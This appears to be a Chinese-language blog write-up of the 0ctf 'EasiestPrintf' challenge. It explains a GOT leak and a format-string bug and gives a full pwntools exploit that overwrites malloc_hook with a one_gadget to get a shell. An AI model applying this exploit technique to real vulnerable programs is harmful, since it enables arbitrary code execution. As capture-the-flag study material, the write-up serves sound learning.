前言
这是 0ctf
的一道比较简单的格式化串的题目。
正文
逻辑非常简单
do_read
可以打印内存地址的数据,可用来 泄露 got
.
leave
格式化字符串漏洞。
printf(s)
直接调用 exit
退出了。不过可以使用 %1000c
触发 printf
里面的 malloc
和 free
, 所以思路很清楚了,修改 free_hook
或者 malloc_hook
为 one_gadget
, 并且在格式化串末尾加上 %1000c
触发 malloc
和 free
最后
最开始修改 free_hook
, 发现所有的 one_gadget
都不能用,后面使用了 malloc_hook
,终于找到一个可以用的,估计和寄存器的数据有关。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * context(os='linux',log_level='debug') p = process("./EasiestPrintf") # gdb.attach(p, ''' # c # ''') setvbuf_got = 0x08049FF0 exit_got = 0x08049FE4 pause() p.sendline(str(setvbuf_got)) p.recvuntil("Which address you wanna read:\n") setvbuf_addr = int(p.recv(len('0xf7e60360')), 16) libc_addr = setvbuf_addr - 0x60360 free_hook = libc_addr + 0x1b38b0 malloc_hook = libc_addr + 0x1b2768 one_gadget = libc_addr + 0x3ac69 log.info("free_hook: " + hex(free_hook)) log.info("one_gadget: " + hex(one_gadget)) pause() payload = fmtstr_payload(7, {malloc_hook: one_gadget}) payload += "%100000c" p.sendline(payload) p.interactive()
|
本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2017/12/17/pwn_with_format_0ctf_easyprintf.html